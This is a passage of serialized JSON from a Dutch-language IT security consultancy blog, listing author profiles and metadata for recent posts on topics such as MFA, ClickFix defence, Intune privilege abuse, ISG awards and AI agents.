Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":2987,"avatar":2988,"permalink":2989,"linkedin":2990,"twitter":2793},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":2992,"avatar":2993,"permalink":2994,"linkedin":2995,"twitter":2793},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":2997,"avatar":2998,"permalink":2999,"linkedin":3000,"twitter":3001},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":3003,"avatar":3004,"permalink":3005,"linkedin":3006},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3008,"avatar":3009,"permalink":3010,"linkedin":3011},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3013,"avatar":3014,"permalink":3015,"linkedin":3016},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3018,"avatar":3019,"permalink":3020,"linkedin":3021},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3023,"avatar":3024,"permalink":3025,"linkedin":3026,"imageOffsetTop":2782},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3028,"avatar":3029,"permalink":3030,"linkedin":3031,"imageOffsetTop":2782},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3033,"avatar":3034,"permalink":3035,"linkedin":3036,"imageOffsetTop":2882},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3038,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2882},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2882},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3047,"avatar":3048,"permalink":3049,"linkedin":3050,"imageOffsetTop":3051,"imageOffsetLeft":3052},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2809},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3067,"Alexander Schlindwein":3068,"Sophie Luna":3069,"Nadine Klein":3070,"Karsten Kleinschmidt":3071,"Julian Wendt":3072,"Holger Bunkradt":3073,"Ralf Mania":3074,"Oliver Kieselbach":3075,"Steffen Schwerdtfeger":3076,"Gunnar Winter":3077,"Jan Petersen":3078,"Thorsten Kunzi":3079,"Moritz Pohl":3080,"Thorben Pöschus":3081,"Christoph Hannebauer":3082,"Marco Scheel":3083,"Christopher Brumm":3084,"Florian Klante":3085,"Niklas Bachmann":3086,"Nils Krautkrämer":3087,"Patrick Treptau":3088,"Peter Beckendorf":3089,"Patrick Sobau":3090,"Jörg Wunderlich":3091,"Michael Breither":3092,"Christian Kanja":3093,"Zeba Hoffmann":3094,"Jochen Fröhlich":3095,"Jan Geisbauer":3096,"Gerrit Reinke":3100,"Christian Kordel":3101,"Stephan Wälde":3102,"Carolin Kanja":3103,"Adrian Ritter":3104,"Marvin Bangert":3105,"Thorsten Pickhan":3106,"Christian Lorenz":3107,"Denis Böhm":3108,"Fabian Bader":3109,"Juan Jose Fernandez Perez":3110,"Mahschid Sayyar":3111,"Benjamin Dassow":3112,"Markus Walschburger":3113,"Jonathan Haist":3114,"Daniel Rohregger":3115,"Thomas Naunheim":3116,"Florian Stöckl":3117,"Pascal Asch":3118,"Markus Kättner":3119,"Anna Ulbricht":3120,"Annette Brauns":3121},{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},{"display_name":2784,"avatar":2785,"permalink":2786,"twitter":2787,"linkedin":2788},{"display_name":2790,"avatar":2791,"permalink":2792,"twitter":2793,"linkedin":2794,"imageOffsetLeft":2795,"imageOffsetTop":2796},{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},{"display_name":2812,"avatar":2813,"permalink":2814,"linkedin":2815},{"display_name":2817,"avatar":2818,"permalink":2819,"linkedin":2820,"twitter":2821},{"display_name":2823,"avatar":2824,"permalink":2825,"linkedin":2826,"twitter":2827},{"display_name":2829,"avatar":2830,"permalink":2831,"linkedin":2832,"twitter":2833},{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},{"display_name":2843,"avatar":2844,"permalink":2845,"twitter":2793,"linkedin":2846},{"display_name":2848,"avatar":2849,"permalink":2850,"twitter":2793,"linkedin":2851},{"display_name":2853,"avatar":2854,"permalink":2855,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},{"display_name":2857,"avatar":2858,"permalink":2859,"twitter":2793,"linkedin":2860},{"display_name":2862,"avatar":2863,"permalink":2864,"twitter":2865,"linkedin":2866},{"display_name":2868,"avatar":2869,"permalink":2870,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},{"display_name":2872,"avatar":2873,"permalink":2874,"twitter":2875,"linkedin":2875},{"display_name":2877,"avatar":2878,"permalink":2879,"twitter":2880,"linkedin":2881,"imageOffsetTop":2882},{"display_name":2884,"avatar":2885,"permalink":2886,"linkedin":2887,"twitter":2793},{"display_name":2889,"avatar":2890,"permalink":2891,"linkedin":2892,"twitter":2793},{"display_name":2894,"avatar":2895,"permalink":2896,"twitter":2897,"linkedin":2898},{"display_name":2900,"avatar":2901,"permalink":2902,"linkedin":2903,"twitter":2793},{"display_name":2905,"avatar":2906,"permalink":2907,"linkedin":2908,"twitter":2793,"imageOffsetTop":2782},{"display_name":2910,"avatar":2911,"permalink":2912,"linkedin":2913,"twitter":2793},{"display_name":2915,"avatar":2916,"permalink":2917,"twitter":2793},{"display_name":2919,"avatar":2920,"permalink":2921,"twitter":2793,"linkedin":2922},{"display_name":2924,"avatar":2925,"permalink":2926,"twitter":2927,"linkedin":2928},{"display_name":2930,"avatar":2931,"permalink":2932,"linkedin":2933,"twitter":2793},{"display_name":2935,"avatar":2936,"permalink":2937,"twitter":2793,"linkedin":2846},{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":3097},[3098,3099],{"text":472,"href":2944},{"text":2946,"href":2947},{"display_name":2949,"avatar":2950,"permalink":2951,"twitter":2952,"linkedin":2953},{"display_name":2955,"avatar":2956,"permalink":2957,"twitter":2793,"linkedin":2846},{"display_name":2959,"avatar":2960,"permalink":2961,"twitter":2962,"linkedin":2846},{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},{"display_name":2970,"avatar":2971,"permalink":2972,"twitter":2973,"linkedin":2973},{"display_name":2975,"avatar":2976,"permalink":2977,"twitter":2978,"linkedin":2979},{"display_name":2981,"avatar":2982,"permalink":2983,"twitter":2984,"linkedin":2985},{"display_name":2987,"avatar":2988,"permalink":2989,"linkedin":2990,"twitter":2793},{"display_name":2992,"avatar":2993,"permalink":2994,"linkedin":2995,"twitter":2793},{"display_name":2997,"avatar":2998,"permalink":2999,"linkedin":3000,"twitter":3001},{"display_name":3003,"avatar":3004,"permalink":3005,"linkedin":3006},{"display_name":3008,"avatar":3009,"permalink":3010,"linkedin":3011},{"display_name":3013,"avatar":3014,"permalink":3015,"linkedin":3016},{"display_name":3018,"avatar":3019,"permalink":3020,"linkedin":3021},{"display_name":3023,"avatar":3024,"permalink":3025,"linkedin":3026,"imageOffsetTop":2782},{"display_name":3028,"avatar":3029,"permalink":3030,"linkedin":3031,"imageOffsetTop":2782},{"display_name":3033,"avatar":3034,"permalink":3035,"linkedin":3036,"imageOffsetTop":2882},{"display_name":3038,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2882},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2882},{"display_name":3047,"avatar":3048,"permalink":3049,"linkedin":3050,"imageOffsetTop":3051,"imageOffsetLeft":3052},{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2809},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3125,"authors":3328},[3126,3143,3157,3171,3187,3200,3213,3226,3238,3254,3268,3283,3288,3299,3312],{"id":3127,"title":3128,"author":3129,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3130,"moment":3135,"path":3136,"stem":3137,"tags":3138,"webcast":484},"content_nl/posts/2026-09-22-end-of-mfa-sms.md","Het einde van de MFA-sms",[2804],{"lang":2678,"date":3131,"categories":3132,"blogtitlepic":3133,"customExcerpt":3134},"2026-09-21",[235],"head-conditional-access.jpg","Waarom organisaties nu moeten overstappen op phishingresistente en zo veel mogelijk wachtwoordloze aanmeldmethoden.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,3139,3140,3141,3142],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3144,"title":3145,"author":3146,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3147,"moment":3131,"path":3151,"stem":3152,"tags":3153,"webcast":484},"content_nl/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Als de gebruiker de exploit is, en hoe jullie dat stoppen",[2778,2798],{"lang":2678,"date":3131,"categories":3148,"blogtitlepic":3149,"customExcerpt":3150},[235],"head-clickfix.jpg","ClickFix maakt gebruikers tot hun eigen aanvaller: een vals CAPTCHA, een copy-paste, en schadelijke code draait in het geheugen zonder dat er iets op de schijf landt. Hoe Microsoft Defender de aanval detecteert, waar de detectie tegen grenzen aanloopt en hoe jullie het gat dichten met een RunMRU-hunt en vier beschermingslagen.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3154,3155,3156],"Defender","SOC","Endpoint Security",{"id":3158,"title":3159,"author":3160,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3161,"moment":3131,"path":3165,"stem":3166,"tags":3167,"webcast":484},"content_nl/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin en dagelijks werk op één computer? Game Over.",[2713],{"lang":2678,"date":3131,"categories":3162,"blogtitlepic":3163,"customExcerpt":3164},[235],"head-game-over-en.jpg","Waarom één tenant voor CIO's niet volstaat, en de tweede zelden wordt meegedacht. De Managed Red Tenant scheidt administratief werk architectonisch van de office-omgeving, de Managed Dark Tenant houdt de organisatie handelingsbekwaam wanneer de verdediging toch valt. Wat dat betekent voor het bedrijfsmodel, het SOC-signaal en de aantoonplichten volgens NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,3168,3169,3170],"Privileged Access","Zero Trust","NIS2",{"id":3172,"title":3173,"author":3174,"cta":494,"description":3175,"hideInRecent":484,"layout":2676,"meta":3176,"moment":3177,"path":3182,"stem":3183,"tags":3184,"webcast":484},"content_nl/posts/2026-08-08-isg-germany-2026.md","Vier keer Leader. glueckkanja in de ISG-studie Duitsland 2026",[2964],"ISG heeft zijn studie dit jaar een andere naam gegeven. Van het Microsoft Cloud Ecosystem werd het Microsoft AI and Cloud Ecosystem, en met de naam is de maatstaf verschoven: beoordeeld wordt niet meer wie Microsoft-platformen invoert, maar wie Copilot, agents en AI-workloads beheersbaar draait. Aan onze positie heeft de nieuwe maatstaf niets veranderd. De ISG Provider Lens®-studie Duitsland 2026 positioneert ons als Leader in vier kwadranten: Microsoft Productivity and Business Process Services en Azure Managed Services, telkens in de Large Market en in de Mid Market. Na 2021, 2023, 2024 en 2025 is het de vijfde Leader-inschaling in Duitsland, in Zwitserland kwam de sprong naar het Leader-kwadrant twee weken eerder.",{"lang":2678,"date":3177,"categories":3178,"blogtitlepic":3180,"customExcerpt":3181},"2026-08-08",[3179],"Corporate","head-isg-de-2026.png","De ISG Provider Lens®-studie 2026 positioneert glueckkanja in Duitsland als Leader in vier kwadranten: Microsoft Productivity and Business Process Services en Azure Managed Services, telkens in de Large en in de Mid Market. De studie heet nu Microsoft AI and Cloud Ecosystem, en de maatstaf is verschoven: beoordeeld wordt wie AI- en agent-workloads beheersbaar draait.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3185,3186],"Award","ISG",{"id":3188,"title":3189,"author":3190,"cta":494,"description":3191,"hideInRecent":484,"layout":2676,"meta":3192,"moment":3193,"path":3197,"stem":3198,"tags":3199,"webcast":484},"content_nl/posts/2026-07-31-isg-switzerland-2026.md","Van Rising Star naar Leader. glueckkanja in de ISG-studie Zwitserland 2026",[2964],"In 2024 hebben we glueckkanja Switzerland AG opgericht en in het zentroom aan de Bahnhofplatz 10b in Bern een kantoor betrokken. In 2025 heeft ISG ons in de Zwitserse markt als Rising Star ingeschaald, als de aanbieder van wie de analisten de sprong naar het Leader-kwadrant verwachten. Nu is die sprong gedocumenteerd: de ISG Provider Lens®-studie 2026 positioneert ons in Zwitserland als Leader in het kwadrant Microsoft AI and Cloud Ecosystem, op de gebieden Azure Managed Services en Microsoft Productivity and Business Process Services.",{"lang":2678,"date":3193,"categories":3194,"blogtitlepic":3195,"customExcerpt":3196},"2026-07-31",[3179],"head-isg-ch-2026.png","De ISG Provider Lens®-studie 2026 positioneert glueckkanja in Zwitserland als Leader in het kwadrant Microsoft AI and Cloud Ecosystem, op de gebieden Azure Managed Services en Microsoft Productivity and Business Process Services. Twee jaar na de markttoetreding in Bern, een jaar na de Rising-Star-onderscheiding.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3185,3186],{"id":3201,"title":3202,"author":3203,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3204,"moment":3205,"path":3209,"stem":3210,"tags":3211,"webcast":484},"content_nl/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Wat het OpenAI/Hugging-Face-incident verraadt en wat niet",[2713],{"lang":2678,"date":3205,"categories":3206,"blogtitlepic":3207,"customExcerpt":3208},"2026-07-24",[235],"head-outbreak.jpg","Een AI-agent breekt uit zijn testomgeving, vindt een zero-day en hackt een ander bedrijf. Klinkt als een scenario, maar is in juli 2026 daadwerkelijk gebeurd. Tijd voor een nuchtere plaatsbepaling: met wat psychologie, twee securityveteranen en de vraag wat dit voor jullie verdediging betekent.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3212,3155,3169],"AI",{"id":3214,"title":3215,"author":3216,"cta":494,"description":3217,"hideInRecent":484,"layout":2676,"meta":3218,"moment":3219,"path":3223,"stem":3224,"tags":3225,"webcast":484},"content_nl/posts/2026-07-22-isg-cybersecurity-2026.md","Leader en Rising Star. glueckkanja in de ISG Cybersecurity-studie 2026",[2964],"Nieuw in het kwadrant en meteen Leader: de ISG Provider Lens®-studie \"Cybersecurity – Services and Solutions 2026\" positioneert glueckkanja als Leader op het gebied van Next-Gen SOC/MDR Services voor de Duitse midmarket. In de totale markt voor Next-Gen SOC/MDR Services onderscheidt ISG ons als Rising Star, dus als de aanbieder van wie de analisten de sprong naar het Leader-kwadrant binnen de komende 12 tot 24 maanden verwachten.",{"lang":2678,"date":3219,"categories":3220,"blogtitlepic":3221,"customExcerpt":3222},"2026-07-22",[3179],"head-isg-cybersecurity-2026.png","De ISG Provider Lens®-studie Cybersecurity 2026 onderscheidt glueckkanja als Leader in het kwadrant Next-Gen SOC/MDR Services (Midmarket). In de totale markt voor Next-Gen SOC/MDR Services zijn we Rising Star. ISG schrijft ons bovengemiddelde groei toe, diepgaande Microsoft-securityexpertise en een 24/7 SOC vanuit Duitsland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3185,3186,235],{"id":3227,"title":3228,"author":3229,"cta":494,"description":3230,"hideInRecent":484,"layout":2676,"meta":3231,"moment":3232,"path":3235,"stem":3236,"tags":3237,"webcast":484},"content_nl/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: wat AI echt nodig heeft om te werken",[2964],"Een productiebedrijf wil weten welke van zijn 14.000 SKU's daadwerkelijk winstgevend zijn. Het antwoord ligt in drie systemen die nog nooit één enkel datapunt met elkaar hebben uitgewisseld. Tot voor kort kostte het drie afdelingen, twee weken en de nodige goede wil om dat antwoord te krijgen. Sinds begin 2026 kan een AI die vraag in minuten beantwoorden: de data doorzoeken, verbanden leggen, een aanbeveling produceren. Op voorwaarde dat ze toegang heeft.",{"lang":2678,"date":3232,"categories":3233,"blogtitlepic":3234},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3212,131],{"id":3239,"title":3240,"author":3241,"cta":494,"description":3242,"hideInRecent":484,"layout":2676,"meta":3243,"moment":3244,"path":3248,"stem":3249,"tags":3250,"webcast":484},"content_nl/posts/2026-07-01-onboarding-process.md","Contract ondertekend: zo verloopt jouw onboarding bij ons",[3054],"Hoe verloopt jullie onboarding eigenlijk? Een vraag die we in gesprekken met sollicitanten steeds opnieuw tegenkomen, want velen hebben al eens meegemaakt dat een onboarding hobbelig verloopt. Des te belangrijker is het voor ons om je vanaf het begin een goed gevoel te geven.",{"lang":2678,"date":3244,"categories":3245,"blogtitlepic":3246,"customExcerpt":3247},"2026-07-01",[3179],"Onboarding_Blogheader","Het contract is ondertekend, de eerste grote stap is gezet. Maar hoe gaat het nu verder? We nemen je mee achter de schermen van onze onboarding, van het PreBoarding tot de eerste week in het team.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3251,3252,3253],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3255,"title":3256,"author":3257,"cta":494,"description":3258,"hideInRecent":484,"layout":2676,"meta":3259,"moment":3260,"path":3264,"stem":3265,"tags":3266,"webcast":484},"content_nl/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: wij horen erbij",[2964],"In het Microsoft-partnerecosysteem bestaat een hele reeks erkenningen, en toch onderscheidt de Frontier Partner Badge zich in opzet van de andere onderscheidingen. Je kunt hem niet aanvragen, want Microsoft kent hem op eigen initiatief toe aan een exclusieve groep partners die in meerdere disciplines tegelijk moeten overtuigen in plaats van in één enkele te schitteren. Microsoft toetst daarbij aangetoonde competentie in Cloud & AI Platforms, in AI Business Solutions en in Security in gelijke mate en richt zich daarmee op organisaties die AI niet zien als opzetstuk op bestaande IT, maar als resultaat van een doorlopende architectuur die van identiteit via endpoint tot in productieve AI-operations draagt.",{"lang":2678,"date":3260,"categories":3261,"blogtitlepic":3262,"customExcerpt":3263},"2026-06-26",[3179],"head-frontier-partner-badge.jpg","Sinds kort bestaat er binnen het Microsoft AI Cloud Partner Program een nieuwe toponderscheiding, de Frontier Partner Badge. Microsoft kent die uitsluitend toe aan een exclusieve groep partners wereldwijd die AI-projecten op de volledige Microsoft-stack draagkrachtig leveren, van de workplace via het cloudplatform en security tot in de AI-toepassing zelf, en die dat in de praktijk hebben aangetoond. In de DACH-regio telt die groep slechts een handvol bedrijven, en wij zijn er een van.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3185,3267,3212],"Microsoft Partner",{"id":3269,"title":3270,"author":3271,"cta":494,"description":3272,"hideInRecent":484,"layout":2676,"meta":3273,"moment":3274,"path":3278,"stem":3279,"tags":3280,"webcast":484},"content_nl/posts/2026-06-09-vair-run.md","160 kilometer voor het goede doel",[3061],"Zondagochtend, 8:30 uur, Holbeinsteg aan de Main. Elf collega's in dezelfde NinjaCat-shirts, klaar voor de Frankfurter Runden. Regen, bliksem en donder inbegrepen. Voor een goed doel lopen was motivatie genoeg om ondanks het slechte weer de hardloopschoenen aan te trekken.",{"lang":2678,"date":3274,"categories":3275,"blogtitlepic":3276,"customExcerpt":3277},"2026-06-08",[3179],"frankfurter-runden.png","Elf collega's, 16 rondes, 160 kilometer, een onweersfront en een podiumplek: glueckkanja deed mee aan de Frankfurter Runden 2026 en doneerde voor elke gelopen ronde aan VAIR e.V., die in Offenbach een inclusief sport- en cultuurpark bouwt.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3281,3251,3282],"Top Arbeitgeber","Soziales Engagement",{"id":520,"title":521,"author":3284,"cta":494,"description":530,"hideInRecent":484,"layout":2676,"meta":3285,"moment":2681,"path":2762,"stem":2764,"tags":3287,"webcast":484},[523],{"lang":2678,"date":2681,"categories":3286,"blogtitlepic":2683,"customExcerpt":2685},[235],[2766,2767,2768,2769,2770],{"id":3289,"title":3290,"author":3291,"cta":494,"description":3292,"hideInRecent":484,"layout":2676,"meta":3293,"moment":3294,"path":3297,"stem":3298,"tags":494,"webcast":484},"content_nl/posts/2026-03-21-microsoft-edge-corporate-browser.md","Waarom Edge jullie enige corporate browser zou moeten zijn",[2835],"De keuze van de browser is in bedrijfsomgevingen een strategische beslissing: die bepaalt direct hoeveel security en hoeveel beheerlast je werkelijk hebt. Google Chrome was lang de voor de hand liggende optie, maar Microsoft Edge is uitgegroeid tot een browser die direct ingrijpt op de bestaande stack, vooral wanneer Microsoft 365 in gebruik is en het beheer via Intune loopt.",{"lang":2678,"date":3294,"blogtitlepic":3295,"customExcerpt":3296},"2026-03-21","head-microsoft-edge-default-browser.jpg","Geen enkele organisatie heeft Chrome echt gekozen; hij was er simpelweg, met eigen sync-logica, eigen accountbeheer en een eigen interface voor policies. Microsoft Edge grijpt daarentegen direct in op de infrastructuur die toch al draait: Entra ID, Intune, Defender. Deze post laat zien hoe de overstap eruitziet, hoe Chrome via een Intune-policy naar een landingpage wordt omgeleid en wat er wegvalt zodra je stopt met het parallel beheren van twee browsers.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3300,"title":3301,"author":3302,"cta":494,"description":3303,"hideInRecent":484,"layout":2676,"meta":3304,"moment":3305,"path":3309,"stem":3310,"tags":3311,"webcast":484},"content_nl/posts/2026-03-20-stryker-attack-intune-privilege.md","Eén adminaccount was alles wat er nodig was.",[2713],"Woensdag 11 maart 2026. Medewerkers in Stryker-kantoren in 79 landen zetten hun computers aan en vonden ze leeg. Inlogschermen vervangen door een logo. Bedrijfslaptops, zakelijke telefoons, privéapparaten die in het BYOD-programma van het bedrijf waren geregistreerd, allemaal gelijktijdig gewist, in één nacht. Geen ransomware, geen malwaresignaturen, niets wat een endpoint-detectietool had kunnen opmerken.",{"lang":2678,"date":3305,"categories":3306,"blogtitlepic":3307,"customExcerpt":3308},"2026-03-20",[235],"head-stryker.jpg","Op 11 maart 2026 wiste Handala apparaten in 79 landen, en alles wat daarvoor nodig was, was één gecompromitteerd Intune-adminaccount. Geen malware, geen exploit, alleen legitieme managementtools die tegen hun eigenaars werden gericht. Wat er is gebeurd, waarom het werkte en welke twee architectonische gaten gedicht moeten worden.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,3168,3169],{"id":3313,"title":3314,"author":3315,"cta":494,"description":3316,"hideInRecent":484,"layout":2676,"meta":3317,"moment":3318,"path":3322,"stem":3323,"tags":3324,"webcast":484},"content_nl/posts/2026-03-16-ai-agent-hackathon.md","Zes agents. Vier weken. Echt in productie.",[2964],"Hoeveel uur per week besteedt jullie IT-afdeling aan taken die een agent in minuten afhandelt?",{"lang":2678,"date":3318,"categories":3319,"blogtitlepic":3320,"customExcerpt":3321},"2026-03-16",[3179],"head-ai-agent-hackathon.jpg","Zes bedrijven, vier weken build-fase, zes werkende AI agents: dat was de eerste glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa en lila logistik hebben in Copilot Studio agents gebouwd die vandaag productief lopen. Wat daarbij ontstond en hoe het format werkt.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3212,3325,3326,3327],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3329,"Fritz Zurhorst":3330,"Nadine Klein":3331,"Jan Geisbauer":3332,"Carolin Kanja":3336,"Anna Ulbricht":3337,"Annette Brauns":3338,"Pascal Asch":3339,"Steffen Schwerdtfeger":3340},{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":3333},[3334,3335],{"text":472,"href":2944},{"text":2946,"href":2947},{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2809},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2882},{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},{"id":2773,"extension":2774,"meta":3342,"stem":8,"__hash__":3123},{"Pascal Asch":3343},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2882},1791383943469]